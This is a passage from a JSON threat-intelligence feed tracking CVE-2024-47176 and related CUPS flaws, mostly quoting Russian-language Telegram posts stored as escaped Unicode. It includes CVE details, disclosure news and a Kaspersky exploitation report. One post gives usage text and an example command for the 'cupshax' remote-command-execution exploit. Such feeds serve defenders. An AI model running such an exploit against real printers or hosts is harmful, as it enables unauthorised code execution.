\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u0442\u0430\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043a\u0430\u043a Canonical \u0438 Red Hat, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 CUPS \u043d\u0435\u043e\u0445\u043e\u0442\u043d\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043a\u0430\u0445.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u041c\u0430\u0440\u0433\u0430\u0440\u0438\u0442\u0435\u043b\u043b\u0438, \u0432\u043c\u0435\u0441\u0442\u043e \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u043d\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u043b\u0438 \u0441\u043f\u043e\u0440\u0438\u0442\u044c \u043e \u0442\u043e\u043c, \u0432\u043b\u0438\u044f\u044e\u0442 \u043b\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043d\u0438\u0445 \u043d\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c, \u0438 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u043b\u0438 \u0441\u043d\u0438\u0441\u0445\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u043a \u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044f\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041c\u0430\u0440\u0433\u0430\u0440\u0438\u0442\u0435\u043b\u043b\u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u044d\u0442\u0443 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043d\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c\u0441\u044f \u0441 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0438 \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 20 \u043b\u0435\u0442 \u043d\u0430 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\n\u041f\u043e\u043a\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043f\u0430\u0442\u0447\u0438 \u043d\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0435 \u043c\u0435\u0440\u044b \u0434\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-09-27T16:16:01.000000Z"}, {"uuid": "0eb693f8-51a0-4bb4-b623-63fa3c748740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15564", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-47177\n\ud83d\udd25 CVSS Score: 9.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: CUPS is a standards-based, open-source printing system, and cups-filters provides backends, filters, and other software for CUPS 2.x to use on non-Mac OS systems. Any value passed to `FoomaticRIPCommandLine` via a PPD file will be executed as a user controlled command. When combined with other logic bugs as described in CVE-2024-47176, this can lead to remote command execution.\n\nThis vulnerability has been disputed by a third party because `FoomaticRIPCommandLine` is functionality that is intended to execute administrator specified code.\n\ud83d\udccf Published: 2024-09-26T21:56:36.661Z\n\ud83d\udccf Modified: 2025-05-08T16:33:14.340Z\n\ud83d\udd17 References:\n1. https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47\n2. https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8\n3. https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5\n4. https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6\n5. https://bugzilla.suse.com/show_bug.cgi?id=1230931\n6. https://www.cups.org\n7. https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I", "creation_timestamp": "2025-05-08T17:24:19.000000Z"}, {"uuid": "5ff4c912-8b63-46c8-bf70-69b004971bb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/poxek/4433", "content": "Scan for CVE-2024-47176 (CUPS - Remote Code Execution) with Nuclei\n\nVulnerability discovery: https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/\nNuclei Template: https://cloud.projectdiscovery.io/?template=CVE-2024-47176\n\nSource: https://x.com/pdnuclei/status/1840195177098453308", "creation_timestamp": "2024-09-29T08:25:27.000000Z"}, {"uuid": "7f3d9360-a972-4c3a-b43b-44a7d017339e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/poxek/4431", "content": "\ud83d\udc27 Cupshax - RCE \u0447\u0435\u0440\u0435\u0437 \u0441\u043b\u0443\u0436\u0431\u0443 \u043f\u0435\u0447\u0430\u0442\u0438 \u0432 UNIX\n#unix #RCE #CVE\n\nCVE-2024-47176 CVE-2024-47076 CVE-2024-47175 CVE-2024-47177\n\n\u0412\u0447\u0435\u0440\u0430 \u0432\u0435\u0447\u0435\u0440\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u043d\u0430\u0432\u043e\u0434\u043d\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c\u044e \u043e \u043d\u043e\u0432\u043e\u0439 \u0431\u0430\u0433\u0435 \u0432 UNIX \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 RCE. \u041d\u043e \u0431\u044b\u043b\u0438 \u043e\u0441\u043e\u0431\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443 \u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043d\u0430 \u043f\u0435\u0447\u0430\u0442\u044c. \u0412 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u043e\u0441\u0435 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f PoC.\n\n\ud83d\udee0 \u0418\u0437\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0439\u0442\u0430\u043f \u0422\u0423\u0422\n\n\u0410\u0432\u0442\u043e\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0438\u0437\u0443\u0447\u0438\u043b\u0438 \u043a\u043e\u043c\u043c\u0438\u0442 \u0432 OpenPrinting CUPS, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0431\u0430\u0433\u0430 \u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442. \u041e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 dns-sd \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430, \u0442\u0440\u0435\u0431\u0443\u044f, \u0447\u0442\u043e\u0431\u044b \u0446\u0435\u043b\u044c \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0438\u0440\u043e\u043a\u043e\u0432\u0435\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u0442.\u0435. \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0435\u0442\u0438.\n\n\u27a1\ufe0f\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\nusage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT]\n\nA script for executing commands remotely\n\noptions:\n  -h, --help         show this help message and exit\n  --name NAME        The name to use (default: RCE Printer)\n  --ip IP            The IP address of the machine running this script\n  --command COMMAND  The command to execute (default: 'touch /tmp/pwn')\n  --port PORT        The port to connect on (default: 8631)\n\n\u27a1\ufe0f\u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f\npython cupshax.py --name \"Print to PDF (Color)\" \\\n                  --command \"id>/tmp/pwn\" \\\n                  --ip 10.0.0.3\n\n\ud83d\udcf1 Github \u0438 \u043c\u043e\u0439 \u0444\u043e\u0440\u043a, \u043d\u0430 \u0441\u043b\u0443\u0447\u0430\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0440\u0435\u043f\u044b\n\n\ud83c\udf1a @poxek | \ud83d\udcfa RuTube | \ud83c\udf1a \u041c\u0435\u0440\u0447 \u041f\u043e\u0445\u0435\u043a", "creation_timestamp": "2024-09-27T10:55:39.000000Z"}, {"uuid": "98b99aa1-87f2-4654-95e1-460222b1c988", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/purple_medved/301", "content": "UoWPrint\n\nValdikSS - \u043c\u043e\u0439 \u0445\u043e\u0440\u043e\u0448\u0438\u0439 \u0434\u0440\u0443\u0433, \u043b\u0435\u0433\u0435\u043d\u0434\u0430\u0440\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0438 \u0442\u0430\u043b\u0430\u043d\u0442\u043b\u0438\u0432\u044b\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u043b\u044e\u0434\u0435\u0439, \u0441\u043e\u0437\u0434\u0430\u043b \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u043a\u0440\u0443\u0442\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0442\ud83d\udd25 \n\nUoWPrint - \u044d\u0442\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u0435\u0447\u0430\u0442\u0438 \u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 AirPrint \u0438 Mopria \u0447\u0435\u0440\u0435\u0437 Wi-Fi, \u043d\u0430 Orange Pi 3G-IoT-A. \u0423\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043b\u044e\u0431\u043e\u0439 \u0441\u0442\u0430\u0440\u044b\u0439 USB-\u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u0432 \u043f\u0440\u0438\u043d\u0442\u0435\u0440/\u041c\u0424\u0423 \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 Wi-Fi \u0438 \u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c \u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0437 \u043b\u044e\u0431\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b (Windows, macOS, Linux, iOS \u0438 Android) \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u0432.\n\n\u0423 \u043c\u0435\u043d\u044f \u0435\u0441\u0442\u044c \u0441\u0442\u0430\u0440\u044b\u0439-\u0434\u043e\u0431\u0440\u044b\u0439 \u041c\u0424\u0423 HP LaserJet M1123 \u0438 \u044f \u043f\u043e\u043c\u043d\u044e \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0438 \u0441\u0442\u0440\u0430\u0434\u0430\u043d\u0438\u0439 \u043c\u043d\u043e\u0433\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u043f\u043e\u0434 ARMv7 \u043d\u0430 3-\u0435\u0439 \u043c\u0430\u043b\u0438\u043d\u043a\u0435 \u0438 \u0437\u0430\u0432\u0435\u0441\u0442\u0438 CUPS, \u0447\u0442\u043e\u0431\u044b \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c, \u043e\u0431\u044b\u0447\u043d\u043e \u043e\u0447\u0435\u043d\u044c \u0437\u0430\u0434\u0443\u043c\u0447\u0438\u0432\u043e \u0438 \u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\ud83d\ude48 \n\nUoWPrint \u0436\u0435 \u0438\u0434\u0435\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043f\u0440\u044f\u043c\u043e \u0438\u0437 \u043a\u043e\u0440\u043e\u0431\u043a\u0438, \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u043f\u043e USB, \u043f\u043e\u0434\u043d\u044f\u0442\u044c \u0442\u043e\u0447\u043a\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u043b\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u0441\u044f \u043a \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 (\u0434\u0430\u043b\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0440\u0435\u0436\u0438\u043c\u044b \u043a\u043d\u043e\u043f\u043e\u043a\u043e\u0439 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435) \u0438 \u043d\u0430\u0441\u043b\u0430\u0436\u0434\u0430\u0442\u044c\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c \u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0435\u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u0435\u043a\u0442 \u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u041f\u041e \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c\ud83d\ude4f\n\u0414\u0435\u0432\u0430\u0439\u0441 \u0437\u0430 2000 \u0440\u0443\u0431 (~25$) \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u044c \u043e\u0434\u043d\u043e\u043f\u043b\u0430\u0442\u043d\u0438\u043a\u0430 Orange Pi 3G-IoT-A \u0441 \u0430\u043a\u0440\u0438\u043b\u043e\u0432\u044b\u043c \u043a\u043e\u0440\u043f\u0443\u0441\u043e\u043c \u0438 \u043f\u0440\u0435\u0434\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0441\u043e\u0444\u0442\u043e\u043c UoWPrint. \u0418\u0437 \u044d\u0442\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0441 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 - 2$ \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c CUPS, 2$ - \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c SANE/AirSane, \u0430 \u0435\u0449\u0435 2$ \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u0444\u0438\u043d\u0430\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u0432 Canon CAPT (v2+). \n\u0410 \u0442\u0430\u043a \u0436\u0435 \u0441\u044e\u0434\u0430 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0438 \u043f\u0430\u0442\u0447\u0438\ud83d\udc4d \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0435 \u0431\u0430\u0433\u0438 \u0432 CUPS (CVE-2024-47175, CVE-2024-47076, CVE-2024-47176), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b 26.09.24, \u043f\u043e\u0444\u0438\u043a\u0448\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 v1.15 \u043e\u0442 04.10.24\n\nPS: \u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043f\u0440\u043e\u0434\u0430\u043d\u044b, \u0441\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0430 printserver.ink", "creation_timestamp": "2024-10-14T07:02:16.000000Z"}, {"uuid": "4d0943e4-39dd-4058-8654-3182313eca56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "exploited", "source": "https://t.me/kasperskyb2b/1433", "content": "\ud83d\udda8 \u0421\u0442\u0440\u0430\u0445 \u0438 \u043d\u0435\u043d\u0430\u0432\u0438\u0441\u0442\u044c \u0432 \u041b\u0430\u0441-\u041b\u0438\u043d\u0443\u043a\u0441\u0435\n\n\u0421 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u0440\u0430\u043c\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0441\u0435\u0440\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 CUPS, Common Unix Printing System. \u041a \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f\u043c, \u0441\u0442\u0440\u0430\u0445\u0430\u043c \u0438 \u0440\u0430\u0437\u0431\u043e\u0440\u043a\u0430\u043c \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438\u0441\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u0415\u0441\u043b\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0434\u0435\u0444\u0435\u043a\u0442\u044b CVE-2024-47176, -47076, -47175, \u0438 -47177 \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0432 \u0442\u0435\u043e\u0440\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 Linux-\u0441\u0438\u0441\u0442\u0435\u043c\u0435.  \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0439 \u043f\u0440\u0438\u043d\u0442\u0435\u0440, \u0438\u043d\u0434\u0435\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 CUPS \u0436\u0435\u0440\u0442\u0432\u044b \u0438 \u0441\u043d\u0430\u0431\u0434\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430, PPD, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434, \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0439, \u0435\u0441\u043b\u0438 \u043d\u0430 \u044d\u0442\u043e\u043c \u00ab\u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0435\u00bb \u0447\u0442\u043e-\u0442\u043e \u043d\u0430\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c. \u0412 \u044d\u0442\u043e\u043c \u0433\u043b\u0430\u0432\u043d\u0430\u044f \u0437\u0430\u0433\u0432\u043e\u0437\u0434\u043a\u0430 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u2014 \u043d\u0443\u0436\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0430 \u043d\u0435\u0437\u043d\u0430\u043a\u043e\u043c\u043e\u043c \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0435. \u0414\u0435\u0444\u0435\u043a\u0442\u0443 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 Linux.\n\n\u0414\u0440\u0430\u043c\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u043d\u0430\u0448\u0435\u0434\u0448\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0443\u0441\u0442\u0430\u043b \u043e\u0431\u0449\u0430\u0442\u044c\u0441\u044f \u0441 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u043c\u0438 CUPS \u043f\u043e \u043f\u043e\u0432\u043e\u0434\u0443 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u043e \u043d\u0438\u0445 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 